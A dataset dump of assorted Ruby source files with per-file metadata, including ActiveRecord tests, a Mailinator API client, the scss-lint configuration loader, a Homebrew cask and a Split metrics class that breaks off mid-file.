hexsha
stringlengths 40
40
| size
int64 2
1.01M
| content
stringlengths 2
1.01M
| avg_line_length
float64 1.5
100
| max_line_length
int64 2
1k
| alphanum_fraction
float64 0.25
1
|
---|---|---|---|---|---|
2872626ed7b43e82dd6c58c31cb2be4c8f1f4746 | 5,038 | # Copyright 2021 Google LLC
#
# Use of this source code is governed by an MIT-style
# license that can be found in the LICENSE file or at
# https://opensource.org/licenses/MIT.
# frozen_string_literal: true
require "test_helper"
require "models/singer"
require "models/album"
require "models/track"
module ActiveRecord
module Transactions
class OptimisticLockingTest < SpannerAdapter::TestCase
include SpannerAdapter::Associations::TestHelper
def setup
super
singer = Singer.create first_name: "Pete", last_name: "Allison"
album = Album.create title: "Musical Jeans", singer: singer
Track.create title: "Increased Headline", album: album, singer: singer
end
def teardown
super
Track.delete_all
Album.delete_all
Singer.delete_all
end
# Runs the given block in a transaction with the given isolation level, or without a transaction if isolation is
# nil.
def run_in_transaction isolation
if isolation
Base.transaction isolation: isolation do
yield
end
else
yield
end
end
def test_update_single_record_increases_version_number
[nil, :serializable, :buffered_mutations].each do |isolation|
singer = Singer.all.sample
original_version = singer.lock_version
run_in_transaction isolation do
singer.update last_name: "Peterson-#{singer.last_name}"
end
singer.reload
assert_equal original_version + 1, singer.lock_version
end
end
def test_update_multiple_records_increases_version_numbers
singer = Singer.all.sample
album = Album.all.sample
track = Track.all.sample
[nil, :serializable, :buffered_mutations].each do |isolation|
original_singer_version = singer.reload.lock_version
original_album_version = album.reload.lock_version
original_track_version = track.reload.lock_version
run_in_transaction isolation do
singer.update last_name: "Peterson-#{singer.last_name}"
singer.albums.each { |album| album.update title: "Updated: #{album.title}" }
singer.tracks.each { |track| track.update title: "Updated: #{track.title}" }
end
singer.reload
assert_equal original_singer_version + 1, singer.lock_version
singer.albums.each { |album| assert_equal original_album_version + 1, album.lock_version }
singer.tracks.each { |track| assert_equal original_track_version + 1, track.lock_version }
end
end
def test_concurrent_update_single_record_fails
[nil, :serializable, :buffered_mutations].each do |isolation|
singer = Singer.all.sample
original_version = singer.lock_version
# Update the singer in a separate thread to simulate a concurrent update.
t = Thread.new do
singer2 = Singer.find singer.id
singer2.update last_name: "Henderson-#{singer2.last_name}"
end
t.join
run_in_transaction isolation do
assert_raises ActiveRecord::StaleObjectError do
singer.update last_name: "Peterson-#{singer.last_name}"
end
end
singer.reload
assert_equal original_version + 1, singer.lock_version
assert singer.last_name.start_with?("Henderson-")
end
end
def test_concurrent_update_multiple_records_fails
singer = Singer.all.sample
album = Album.all.sample
track = Track.all.sample
[nil, :serializable, :buffered_mutations].each do |isolation|
original_singer_version = singer.reload.lock_version
original_album_version = album.reload.lock_version
original_track_version = track.reload.lock_version
# Update the singer in a separate thread to simulate a concurrent update.
t = Thread.new do
singer2 = Singer.find singer.id
singer2.update last_name: "Henderson-#{singer2.last_name}"
end
t.join
run_in_transaction isolation do
assert_raises ActiveRecord::StaleObjectError do
singer.update last_name: "Peterson-#{singer.last_name}"
end
singer.albums.each { |album| album.update title: "Updated: #{album.title}" }
singer.tracks.each { |track| track.update title: "Updated: #{track.title}" }
end
singer.reload
# The singer should be updated, but only by the separate thread.
assert_equal original_singer_version + 1, singer.lock_version
assert singer.last_name.start_with? "Henderson-"
singer.albums.each { |album| assert_equal original_album_version + 1, album.lock_version }
singer.tracks.each { |track| assert_equal original_track_version + 1, track.lock_version }
end
end
end
end
end
| 35.478873 | 118 | 0.654228 |
bf2b99c2990c0a6c68ce9e6c3da57cd63b1680c2 | 277 | class Proc
def memoized
already_run = false
result = nil
->{
if already_run
result
else
already_run = true
result = call()
end
}
end
def not
-> (*args, &blk) {
! self.(*args, &blk)
}
end
end
| 13.190476 | 26 | 0.465704 |
26630fea08c73d067e2c16b6485bfd9d215315e6 | 950 | require 'helper'
describe MtGox::OrderResult do
let(:json) { JSON.parse(File.read(fixture('order_result.json')))['return'] }
subject { described_class.new(json) }
describe '#total_spent' do
it 'returns a decimal' do
expect(subject.total_spent).to eq BigDecimal.new('10.08323')
end
end
describe '#total_amount' do
it 'returns a decimal' do
expect(subject.total_amount).to eq BigDecimal.new('0.10')
end
end
describe '#avg_cost' do
it 'returns a decimal' do
expect(subject.avg_cost).to eq BigDecimal.new('100.83230')
end
end
describe '#trades' do
it 'returns an array of Trade objects' do
trade = subject.trades.first
expect(trade.id).to eq 1_375_134_017_519_310
expect(trade.date).to eq Time.parse('2013-07-29 21:40:17 UTC')
expect(trade.amount).to eq BigDecimal.new('0.10000000')
expect(trade.price).to eq BigDecimal.new('100.83227')
end
end
end
| 27.142857 | 78 | 0.676842 |
6acf611eba581c9a9e4322b3232db46553f8639c | 585 | class RedmineService < IssueTrackerService
validates :project_url, :issues_url, :new_issue_url, presence: true, url: true, if: :activated?
prop_accessor :title, :description, :project_url, :issues_url, :new_issue_url
def title
if self.properties && self.properties['title'].present?
self.properties['title']
else
'Redmine'
end
end
def description
if self.properties && self.properties['description'].present?
self.properties['description']
else
'Redmine issue tracker'
end
end
def self.to_param
'redmine'
end
end
| 22.5 | 97 | 0.690598 |
f731a5af59a16ddc8be3d5879fea9bac1e47744f | 1,128 | class PortfoliosController < ApplicationController
before_action :portfolio_find, only: [:show, :edit, :update, :destroy]
def index
@user = current_user
@portfolios = @user.portfolios
end
def new
@portfolio = current_user.portfolios.build
end
def create
@portfolio = current_user.portfolios.build(portfolios_params)
if @portfolio.save
redirect_to user_portfolio_path(current_user, @portfolio)
else
render :new
end
end
def show
end
def edit
end
def update
@portfolio.update(portfolios_params)
redirect_to user_portfolio_path(current_user, @portfolio)
end
def destroy
@portfolio.delete
redirect_to user_portfolios_path(current_user)
end
private
def portfolios_params
params.require(:portfolio).permit(:title, :portfolio_type)
end
def portfolio_find
@portfolio = Portfolio.find_by(id: params[:id])
if @portfolio.user != current_user
redirect_to user_path(current_user)
end
end
end
| 22.56 | 74 | 0.641844 |
28ab9afa92c3bc081ccccb6bddfbac32bed247cb | 13,021 | # The MIT License (MIT)
#
# Copyright (c) 2020 Manybrain, Inc.
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
require "json"
module MailinatorClient
# Class containing all the actions for the Messages Resource
class Messages
def initialize(client)
@client = client
end
# Retrieves a list of messages summaries. You can retreive a list by inbox, inboxes, or entire domain.
#
# Authentication:
# The client must be configured with a valid api
# access token to call this action.
#
# Parameters:
# * {string} domainId - The Domain name or the Domain id
# * {string} inbox - The Inbox name
# * {number} skip - Skip this many emails in your Private Domain
# * {number} limit - Number of emails to fetch from your Private Domain
# * {string} sort - Sort results by ascending or descending
# * {boolean} decodeSubject - true: decode encoded subjects
#
# Responses:
# * Collection of messages (https://manybrain.github.io/m8rdocs/#fetch-inbox-aka-fetch-message-summaries)
def fetch_inbox(params = {})
params = Utils.symbolize_hash_keys(params)
query_params = { skip: 0, limit: 50, sort: "ascending", decodeSubject: false }
headers = {}
body = nil
raise ArgumentError.new("domain is required") unless params.has_key?(:domain)
raise ArgumentError.new("inbox is required") unless params.has_key?(:inbox)
query_params[:skip] = params[:skip] if params.has_key?(:skip)
query_params[:limit] = params[:limit] if params.has_key?(:limit)
query_params[:sort] = params[:sort] if params.has_key?(:sort)
query_params[:decodeSubject] = params[:decodeSubject] if params.has_key?(:decodeSubject)
path = "/domains/#{params[:domain]}/inboxes/#{params[:inbox]}"
@client.request(
method: :get,
path: path,
query: query_params,
headers: headers,
body: body)
end
# Retrieves a specific message by id.
#
# Authentication:
# The client must be configured with a valid api
# access token to call this action.
#
# Parameters:
# * {string} domainId - The Domain name or the Domain id
# * {string} inbox - The Inbox name
# * {string} messageId - The Message id
#
# Responses:
# * Message (https://manybrain.github.io/m8rdocs/#fetch-message)
def fetch_message(params = {})
params = Utils.symbolize_hash_keys(params)
query_params = { }
headers = {}
body = nil
raise ArgumentError.new("domain is required") unless params.has_key?(:domain)
raise ArgumentError.new("inbox is required") unless params.has_key?(:inbox)
raise ArgumentError.new("message id is required") unless params.has_key?(:messageId)
path = "/domains/#{params[:domain]}/inboxes/#{params[:inbox]}/messages/#{params[:messageId]}"
@client.request(
method: :get,
path: path,
query: query_params,
headers: headers,
body: body)
end
# Retrieves a specific SMS message by sms number.
#
# Authentication:
# The client must be configured with a valid api
# access token to call this action.
#
# Parameters:
# * {string} domainId - The Domain name or the Domain id
# * {string} inbox - The Inbox name
# * {string} teamSmsNumber - The Team sms number
#
# Responses:
# * Collection of messages (https://manybrain.github.io/m8rdocs/#fetch-an-sms-messages)
def fetch_sms_message(params = {})
params = Utils.symbolize_hash_keys(params)
query_params = { }
headers = {}
body = nil
raise ArgumentError.new("domain is required") unless params.has_key?(:domain)
raise ArgumentError.new("inbox is required") unless params.has_key?(:inbox)
raise ArgumentError.new("team sms number is required") unless params.has_key?(:teamSmsNumber)
path = "/domains/#{params[:domain]}/inboxes/#{params[:inbox]}/#{params[:teamSmsNumber]}"
@client.request(
method: :get,
path: path,
query: query_params,
headers: headers,
body: body)
end
# Retrieves a list of attachments for a message. Note attachments are expected to be in Email format.
#
# Authentication:
# The client must be configured with a valid api
# access token to call this action.
#
# Parameters:
# * {string} domainId - The Domain name or the Domain id
# * {string} inbox - The Inbox name
# * {string} messageId - The Message id
#
# Responses:
# * Collection of attachments (https://manybrain.github.io/m8rdocs/#fetch-list-of-attachments)
def fetch_attachments(params = {})
params = Utils.symbolize_hash_keys(params)
query_params = { }
headers = {}
body = nil
raise ArgumentError.new("domain is required") unless params.has_key?(:domain)
raise ArgumentError.new("inbox is required") unless params.has_key?(:inbox)
raise ArgumentError.new("message id is required") unless params.has_key?(:messageId)
path = "/domains/#{params[:domain]}/inboxes/#{params[:inbox]}/messages/#{params[:messageId]}/attachments"
@client.request(
method: :get,
path: path,
query: query_params,
headers: headers,
body: body)
end
# Retrieves a specific attachment.
#
# Authentication:
# The client must be configured with a valid api
# access token to call this action.
#
# Parameters:
# * {string} domainId - The Domain name or the Domain id
# * {string} inbox - The Inbox name
# * {string} messageId - The Message id
# * {string} attachmentId - The Attachment id
#
# Responses:
# * Attachment (https://manybrain.github.io/m8rdocs/#fetch-attachment)
def fetch_attachment(params = {})
params = Utils.symbolize_hash_keys(params)
query_params = { }
headers = {}
body = nil
raise ArgumentError.new("domain is required") unless params.has_key?(:domain)
raise ArgumentError.new("inbox is required") unless params.has_key?(:inbox)
raise ArgumentError.new("message id is required") unless params.has_key?(:messageId)
raise ArgumentError.new("attachment id is required") unless params.has_key?(:attachmentId)
path = "/domains/#{params[:domain]}/inboxes/#{params[:inbox]}/messages/#{params[:messageId]}/attachments/#{params[:attachmentId]}"
@client.request(
method: :get,
path: path,
query: query_params,
headers: headers,
body: body)
end
# Retrieves all links found within a given email.
#
# Authentication:
# The client must be configured with a valid api
# access token to call this action.
#
# Parameters:
# * {string} domainId - The Domain name or the Domain id
# * {string} inbox - The Inbox name
# * {string} messageId - The Message id
#
# Responses:
# * Collection of links (https://manybrain.github.io/m8rdocs/#fetch-links)
def fetch_message_links(params = {})
params = Utils.symbolize_hash_keys(params)
query_params = { }
headers = {}
body = nil
raise ArgumentError.new("domain is required") unless params.has_key?(:domain)
raise ArgumentError.new("inbox is required") unless params.has_key?(:inbox)
raise ArgumentError.new("message id is required") unless params.has_key?(:messageId)
path = "/domains/#{params[:domain]}/inboxes/#{params[:inbox]}/messages/#{params[:messageId]}/links"
@client.request(
method: :get,
path: path,
query: query_params,
headers: headers,
body: body)
end
# Deletes ALL messages from a Private Domain. Caution: This action is irreversible.
#
# Authentication:
# The client must be configured with a valid api
# access token to call this action.
#
# Parameters:
# * {string} domainId - The Domain name or the Domain id
#
# Responses:
# * Status and count of removed messages (https://manybrain.github.io/m8rdocs/#delete-all-messages-by-domain)
def delete_all_domain_messages(params = {})
params = Utils.symbolize_hash_keys(params)
query_params = { }
headers = {}
body = nil
raise ArgumentError.new("domain is required") unless params.has_key?(:domain)
path = "/domains/#{params[:domain]}/inboxes"
@client.request(
method: :delete,
path: path,
query: query_params,
headers: headers,
body: body)
end
# Deletes ALL messages from a specific private inbox.
#
# Authentication:
# The client must be configured with a valid api
# access token to call this action.
#
# Parameters:
# * {string} domainId - The Domain name or the Domain id
# * {string} inbox - The Inbox name
#
# Responses:
# * Status and count of removed messages (https://manybrain.github.io/m8rdocs/#delete-all-messages-by-inbox)
def delete_all_inbox_messages(params = {})
params = Utils.symbolize_hash_keys(params)
query_params = { }
headers = {}
body = nil
raise ArgumentError.new("domain is required") unless params.has_key?(:domain)
raise ArgumentError.new("inbox is required") unless params.has_key?(:inbox)
path = "/domains/#{params[:domain]}/inboxes/#{params[:inbox]}"
@client.request(
method: :delete,
path: path,
query: query_params,
headers: headers,
body: body)
end
# Deletes a specific messages.
#
# Authentication:
# The client must be configured with a valid api
# access token to call this action.
#
# Parameters:
# * {string} domainId - The Domain name or the Domain id
# * {string} inbox - The Inbox name
# * {string} messageId - The Message id
#
# Responses:
# * Status and count of removed messages (https://manybrain.github.io/m8rdocs/#delete-a-message)
def delete_message(params = {})
params = Utils.symbolize_hash_keys(params)
query_params = { }
headers = {}
body = nil
raise ArgumentError.new("domain is required") unless params.has_key?(:domain)
raise ArgumentError.new("inbox is required") unless params.has_key?(:inbox)
raise ArgumentError.new("message id is required") unless params.has_key?(:messageId)
path = "/domains/#{params[:domain]}/inboxes/#{params[:inbox]}/messages/#{params[:messageId]}"
@client.request(
method: :delete,
path: path,
query: query_params,
headers: headers,
body: body)
end
# Deliver a JSON message into your private domain.
#
# Authentication:
# The client must be configured with a valid api
# access token to call this action.
#
# Parameters:
# * {string} domainId - The Domain name or the Domain id
# * {string} inbox - The Inbox name
# * {string} messageToPost - The Message object (https://manybrain.github.io/m8rdocs/#inject-a-message-http-post-messages)
#
# Responses:
# * Status, Id and RulesToFired info (https://manybrain.github.io/m8rdocs/#fetch-an-sms-messages)
def inject_message(params = {})
params = Utils.symbolize_hash_keys(params)
query_params = { }
headers = {}
body = nil
raise ArgumentError.new("domain is required") unless params.has_key?(:domain)
raise ArgumentError.new("inbox is required") unless params.has_key?(:inbox)
raise ArgumentError.new("messageToPost is required") unless params.has_key?(:messageToPost)
body = params[:messageToPost] if params.has_key?(:messageToPost)
path = "/domains/#{params[:domain]}/inboxes/#{params[:inbox]}/messages"
@client.request(
method: :post,
path: path,
query: query_params,
headers: headers,
body: body)
end
end
end
| 35.002688 | 136 | 0.650795 |
1cff059527f929c03e400f89f56b9eda9fda7bc2 | 10,215 | # frozen_string_literal: true
require 'yaml'
module SCSSLint
# Loads and manages application configuration.
class Config
FILE_NAME = '.scss-lint.yml'.freeze
DEFAULT_FILE = File.join(SCSS_LINT_HOME, 'config', 'default.yml')
attr_reader :options, :warnings, :file
class << self
def default
load(DEFAULT_FILE, merge_with_default: false)
end
# Loads a configuration from a file, merging it with the default
# configuration.
def load(file, options = {})
config_options = load_options_hash_from_file(file)
config = new(config_options, file)
# Need to call this before merging with the default configuration so
# that plugins can override the default configuration while still being
# overridden by the repo's configuration.
config.load_plugins
if options.fetch(:merge_with_default, true)
config = default.extend(config)
end
config
end
# Returns the location of the user-wide scss-lint configuration.
#
# This needs to be a method instead of a constant so that we can change
# the user's home directory in tests.
def user_file
File.join(Dir.home, FILE_NAME)
end
def linter_name(linter)
(linter.is_a?(Class) ? linter : linter.class).simple_name
end
private
def default_options_hash
@default_options_hash ||= load_options_hash_from_file(DEFAULT_FILE)
end
# Recursively load config files, fetching files specified by `include`
# directives and merging the file's config with the files specified.
def load_options_hash_from_file(file)
file_contents = load_file_contents(file)
begin
options =
if yaml = YAML.load(file_contents)
yaml.to_hash
else
{}
end
rescue StandardError => ex
raise SCSSLint::Exceptions::InvalidConfiguration,
"Invalid configuration: #{ex.message}"
end
options = convert_single_options_to_arrays(options)
options = merge_wildcard_linter_options(options)
options = ensure_exclude_paths_are_absolute(options, file)
options = ensure_linter_exclude_paths_are_absolute(options, file)
ensure_severities_are_valid(options)
options
end
# Convert any config options that accept a single value or an array to an
# array form so that merging works.
def convert_single_options_to_arrays(options)
options = options.dup
if options['exclude']
# Ensure exclude is an array, since we allow user to specify a single
# string.
options['exclude'] = [options['exclude']].flatten
end
options
end
# Merge options from wildcard linters into individual linter configs
def merge_wildcard_linter_options(options)
options = options.dup
# rubocop:disable Performance/HashEachMethods (FALSE POSITIVE)
# Cannot use `each_key` because the cycle adds new keys during iteration
options.fetch('linters', {}).keys.each do |class_name|
next unless class_name.include?('*')
wildcard_options = options['linters'].delete(class_name)
apply_options_to_matching_linters(class_name, options, wildcard_options)
end
# rubocop:enable Performance/HashEachMethods
options
end
def apply_options_to_matching_linters(class_name_glob, current_options, linter_options)
linter_names_matching_glob(class_name_glob).each do |linter_name|
old_options = current_options['linters'].fetch(linter_name, {})
current_options['linters'][linter_name] = smart_merge(old_options, linter_options)
end
end
def linter_names_matching_glob(class_name_glob)
class_name_regex = /#{class_name_glob.gsub('*', '[^:]+')}/
LinterRegistry.linters.map { |linter_class| linter_name(linter_class) }
.select { |linter_name| linter_name.match(class_name_regex) }
end
def ensure_linter_exclude_paths_are_absolute(options, original_file)
options = options.dup
options['linters'] ||= {}
options['linters'].each_key do |linter_name|
options['linters'][linter_name] =
ensure_exclude_paths_are_absolute(options['linters'][linter_name], original_file)
end
options
end
# Ensure all excludes are absolute paths
def ensure_exclude_paths_are_absolute(options, original_file)
options = options.dup
if options['exclude']
excludes = [options['exclude']].flatten
options['exclude'] = excludes.map do |exclusion_glob|
if exclusion_glob.start_with?('/')
exclusion_glob
else
# Expand the path assuming it is relative to the config file itself
File.expand_path(exclusion_glob, File.expand_path(File.dirname(original_file)))
end
end
end
options
end
def ensure_severities_are_valid(options)
unless severity_is_valid?(options)
raise SCSSLint::Exceptions::InvalidConfiguration,
'Global `severity` configuration option must be one of [' \
"#{SEVERITIES.join(' | ')}]"
end
options['linters'].each do |linter_name, linter_options|
next if severity_is_valid?(linter_options)
raise SCSSLint::Exceptions::InvalidConfiguration,
"#{linter_name} `severity` configuration option must be one " \
"of [#{SEVERITIES.join(' | ')}]"
end
end
SEVERITIES = %w[error warning].freeze
def severity_is_valid?(options)
SEVERITIES.include?(options.fetch('severity', 'warning'))
end
def path_relative_to_config(relative_include_path, base_config_path)
if relative_include_path.start_with?('/')
relative_include_path
else
path = File.join(File.dirname(base_config_path), relative_include_path)
# Remove double backslashes appearing in Windows paths.
path.sub(%r{^//}, File::SEPARATOR)
end
end
# For easy stubbing in tests
def load_file_contents(file)
File.open(file, 'r').read
end
# Merge two hashes, concatenating lists and further merging nested hashes.
def smart_merge(parent, child)
parent.merge(child) do |_key, old, new|
case old
when Hash
smart_merge(old, new)
else
new
end
end
end
end
def initialize(options, file = Config.user_file)
@options = options
@warnings = []
@file = file
validate_linters
end
def [](key)
@options[key]
end
# Compares this configuration with another.
#
# @param other [SCSSLint::Config]
# @return [true,false]
def ==(other)
super || @options == other.options
end
# Extend this {Config} with another configuration.
#
# @return [SCSSLint::Config]
def extend(config)
@options = self.class.send(:smart_merge, @options, config.options)
@warnings += config.warnings
self
end
def load_plugins
previous_linters = LinterRegistry.linters
plugins = SCSSLint::Plugins.new(self).load
new_linters = LinterRegistry.linters - previous_linters
plugins.each do |plugin|
# Have the plugin options be overrideable by the local configuration
@options = self.class.send(:smart_merge, plugin.config.options, @options)
end
# We only want to set defaults for linters introduced via plugins,
# otherwise we'll accidentally enable some linters
ensure_linters_have_default_options(new_linters)
end
def enabled_linters
LinterRegistry.extract_linters_from(@options['linters'].keys).select do |linter|
linter_options(linter)['enabled']
end
end
def linter_enabled?(linter)
(linter_options(linter) || {}).fetch('enabled', false)
end
def enable_linter(linter)
linter_options(linter)['enabled'] = true
end
def disable_linter(linter)
linter_options(linter)['enabled'] = false
end
def disable_all_linters
@options['linters'].each_value do |linter_config|
linter_config['enabled'] = false
end
end
def linter_options(linter)
options = @options['linters'].fetch(self.class.linter_name(linter), {})
options['severity'] ||= @options['severity']
options
end
def excluded_file?(file_path)
abs_path = File.expand_path(file_path)
@options.fetch('exclude', []).any? do |exclusion_glob|
File.fnmatch(exclusion_glob, abs_path)
end
end
def exclude_patterns
@options.fetch('exclude', [])
end
def excluded_file_for_linter?(file_path, linter)
abs_path = File.expand_path(file_path)
linter_options(linter).fetch('exclude', []).any? do |exclusion_glob|
File.fnmatch(exclusion_glob, abs_path)
end
end
def exclude_file(file_path)
abs_path = File.expand_path(file_path)
@options['exclude'] ||= []
@options['exclude'] << abs_path
end
# @return Array
def scss_files
if (path = @options['scss_files']) && Array(path).any?
Array(path).map { |p| Dir[p] }.flatten.uniq
else
[]
end
end
private
def validate_linters
return unless linters = @options['linters']
linters.each_key do |name|
begin
Linter.const_get(name)
rescue NameError
@warnings << "Linter #{name} does not exist; ignoring"
end
end
end
def ensure_linters_have_default_options(linters)
linters.each do |linter|
if linter_options(linter).nil?
@options['linters'].merge!(default_plugin_options(linter))
end
end
end
def default_plugin_options(linter)
{ self.class.linter_name(linter) => { 'enabled' => true } }
end
end
end
| 29.694767 | 93 | 0.638081 |
5d72e313042c71d1c28ae9597c28603cb14f0186 | 550 | # frozen_string_literal: true
if @offender.present?
json.array!([@offender]) do |offender|
json.extract! offender,
:mainOffence, :receptionDate,
:firstName, :lastName, :offenderNo, :dateOfBirth,
:imprisonmentStatus
json.latestBookingId offender.booking_id
json.latestLocationId offender.prison.code
json.currentlyInPrison "Y"
json.convictedStatus "Convicted"
json.internalLocation offender.cellLocation if offender.cellLocation.present?
end
else
json.array! []
end
| 30.555556 | 81 | 0.692727 |
620a33dae56e7d74aa4423f8e10f48905f0e752c | 168 | class Activity < ApplicationRecord
belongs_to :band
belongs_to :financial, optional: true
def self.current_activity
where('ends_at > ?', Time.now)
end
end
| 18.666667 | 39 | 0.732143 |
abdebd286b4970e6453e7bdd8855ca266282b3cb | 497 | # frozen_string_literal: true
class CampaignFinisherWorker < ProjectBaseWorker
include Sidekiq::Worker
sidekiq_options retry: false, queue: 'finisher'
def perform(id)
return if resource(id).skip_finish?
resource(id).payments.where('gateway_id IS NOT NULL').with_states(%w[paid pending pending_refund]).find_each(batch_size: 100) do |payment|
payment.pagarme_delegator.update_transaction
payment.change_status_from_transaction
end
resource(id).finish
end
end
| 29.235294 | 142 | 0.768612 |
33703ad9a77672fd013c78dd486772e8b6288534 | 539 | require 'nokogiri'
require 'htmltoooxml'
include Htmltoooxml::XSLTHelper
# def html_to_ooxml(html)
# source = Nokogiri::HTML(html.gsub(/>\s+</, '><'))
# result = Htmltoooxml::Document.new().transform_doc_xml(source, false)
# result.gsub!(/\s*<!--(.*?)-->\s*/m, '')
# result = remove_declaration(result)
# puts result
# result
# end
def remove_whitespace(ooxml)
ooxml.gsub(/\s+/, ' ').gsub(/>\s+</, '><').strip
end
def remove_declaration(ooxml)
ooxml.sub(/<\?xml (.*?)>/, '').gsub(/\s*xmlns:(\w+)="(.*?)\s*"/, '')
end
| 22.458333 | 73 | 0.604824 |
016379c59344fddc24fa54bf7c920ede3238c6af | 1,493 | cask "jabra-direct" do
version "6.1.13901"
sha256 :no_check
url "https://jabraxpressonlineprdstor.blob.core.windows.net/jdo/JabraDirectSetup.dmg",
verified: "jabraxpressonlineprdstor.blob.core.windows.net/jdo/"
name "Jabra Direct"
desc "Optimise and personalise your Jabra headset"
homepage "https://www.jabra.com/software-and-services/jabra-direct"
livecheck do
url "https://jabraexpressonlinejdo.jabra.com/jdo/jdo.json"
regex(/"MacVersion"\s*:\s*"(\d+(?:\.\d+)+)"/i)
end
auto_updates true
pkg "JabraDirectSetup.pkg"
uninstall quit: [
"com.jabra.Avaya3Driver",
"com.jabra.AvayaDriver",
"com.jabra.BriaDriver",
"com.jabra.directonline",
"com.jabra.softphoneService",
"nl.superalloy.oss.terminal-notifier",
],
delete: "/Applications/Jabra Direct.app",
login_item: "Jabra Direct",
pkgutil: [
"com.jabra.directonline",
"com.jabra.JabraFirmwareUpdate",
"com.jabra.kext",
]
zap trash: [
"~/Library/Application Support/Jabra",
"~/Library/Application Support/Jabra Direct",
"~/Library/Application Support/JabraSDK",
"~/Library/Logs/Jabra Direct",
"~/Library/Preferences/com.jabra.directonline.helper.plist",
"~/Library/Preferences/com.jabra.directonline.plist",
"~/Library/Preferences/com.jabra.prefsettings.plist",
"~/Library/Saved Application State/com.jabra.directonline.savedState",
]
end
| 31.765957 | 88 | 0.662425 |
011ca97381a915308a85300a9477b5282b2321b8 | 67 | class ProofingComponent < ApplicationRecord
belongs_to :user
end
| 16.75 | 43 | 0.835821 |
ab9b08eb72d41f9b886cd44fdc5955bf6a4b4d6c | 1,330 | # In this file init configuration
load_ok=true
if load_ok
begin
require 'rubygems' # for a few dependencies
rescue LoadError => e
load_ok=false
print <<EOL
----------------------------------------------
*** LOAD ERROR ***
----------------------------------------------
Arcadia require rubygems
you must install before run ...
----------------------------------------------
EOL
end
end
if load_ok
begin
require 'tk'
rescue LoadError => e
load_ok=false
print <<EOL
----------------------------------------------
*** LOAD ERROR ***
----------------------------------------------
Arcadia require ruby-tk extension
and tcl/tk run-time
you must install before run ...
----------------------------------------------
EOL
end
end
if !load_ok
i=30
l=i
msg=e.message
while l < msg.length
while l < msg.length-1 && msg[l..l]!="\s"
l=l+1
end
msg = msg[0..l]+"\n"+"\s"*4+msg[l+1..-1]
l=l+i
end
print <<EOL
----- LoadError Details-----------------------
Platform : "#{RUBY_PLATFORM}"
Ruby version : "#{RUBY_VERSION}"
Message :
"#{msg}"
----------------------------------------------
EOL
exit
end
Tk.tk_call "eval","set auto_path [concat $::auto_path tcl]"
#Tk.tk_call "eval","set tk_strictMotif true" | 22.931034 | 59 | 0.43985 |
ab34d6e5c82062d17e72f75e40dfee59e2ba7ef8 | 2,050 | require 'spec_helper_acceptance'
require 'zone_util'
RSpec.context 'zone manages path' do
after(:all) do
solaris_agents.each do |agent|
ZoneUtils.clean(agent)
end
end
# inherit /sbin on solaris10 until PUP-3722
def config_inherit_string(agent)
if %r{solaris-10}.match?(agent['platform'])
"inherit => '/sbin'"
else
''
end
end
solaris_agents.each do |agent|
context "on #{agent}" do
it 'starts and stops a zone' do
step 'Zone: statemachine - create zone and make it running'
step 'progress would be logged to agent:/var/log/zones/zoneadm.<date>.<zonename>.install'
step 'install log would be at agent:/system/volatile/install.<id>/install_log'
apply_manifest_on(agent, <<-MANIFEST) do |result|
zone { 'tstzone':
ensure => running,
iptype => shared,
path => '/tstzones/mnt',
#{config_inherit_string(agent)}
}
MANIFEST
assert_match(%r{ensure: created}, result.stdout, "err: #{agent}")
end
step 'Zone: statemachine - ensure zone is correct'
on(agent, 'zoneadm -z tstzone verify') do |result|
assert_no_match(%r{could not verify}, result.stdout, "err: #{agent}")
end
step 'Zone: statemachine - ensure zone is running'
on(agent, 'zoneadm -z tstzone list -v') do |result|
assert_match(%r{running}, result.stdout, "err: #{agent}")
end
step 'Zone: statemachine - stop and uninstall zone'
apply_manifest_on(agent, <<-MANIFEST) do |result|
zone { 'tstzone':
ensure => configured,
iptype => shared,
path => '/tstzones/mnt'
}
MANIFEST
assert_match(%r{ensure changed 'running' to 'configured'}, result.stdout, "err: #{agent}")
end
on(agent, 'zoneadm -z tstzone list -v') do |result|
assert_match(%r{configured}, result.stdout, "err: #{agent}")
end
end
end
end
end
| 31.538462 | 100 | 0.58878 |
1a1213f7594ba6f9d2438c2b13ef037de629f9f3 | 141 | class RemoveStrFromEventLogs < ActiveRecord::Migration[5.2]
def change
remove_column :event_logs, :block_number_str, :string
end
end
| 23.5 | 59 | 0.780142 |
79b3d1f08d0ad102da923444f1a699120e6cc345 | 2,428 | # frozen_string_literal: true
module Split
class Metric
attr_accessor :name
attr_accessor :experiments
def initialize(attrs = {})
attrs.each do |key,value|
if self.respond_to?("#{key}=")
self.send("#{key}=", value)
end
end
end
def self.load_from_redis(name)
metric = Split.redis.hget(:metrics, name)
if metric
experiment_names = metric.split(',')
experiments = experiment_names.collect do |experiment_name|
Split::ExperimentCatalog.find(experiment_name)
end
Split::Metric.new(:name => name, :experiments => experiments)
else
nil
end
end
def self.load_from_configuration(name)
metrics = Split.configuration.metrics
if metrics && metrics[name]
Split::Metric.new(:experiments => metrics[name], :name => name)
else
nil
end
end
def self.find(name)
name = name.intern if name.is_a?(String)
metric = load_from_configuration(name)
metric = load_from_redis(name) if metric.nil?
metric
end
def self.find_or_create(attrs)
metric = find(attrs[:name])
unless metric
metric = new(attrs)
metric.save
end
metric
end
def self.all
redis_metrics = Split.redis.hgetall(:metrics).collect do |key, value|
find(key)
end
configuration_metrics = Split.configuration.metrics.collect do |key, value|
new(name: key, experiments: value)
end
redis_metrics | configuration_metrics
end
def self.possible_experiments(metric_name)
experiments = []
metric = Split::Metric.find(metric_name)
if metric
experiments << metric.experiments
end
experiment = Split::ExperimentCatalog.find(metric_name)
if experiment
experiments << experiment
end
experiments.flatten
end
def save
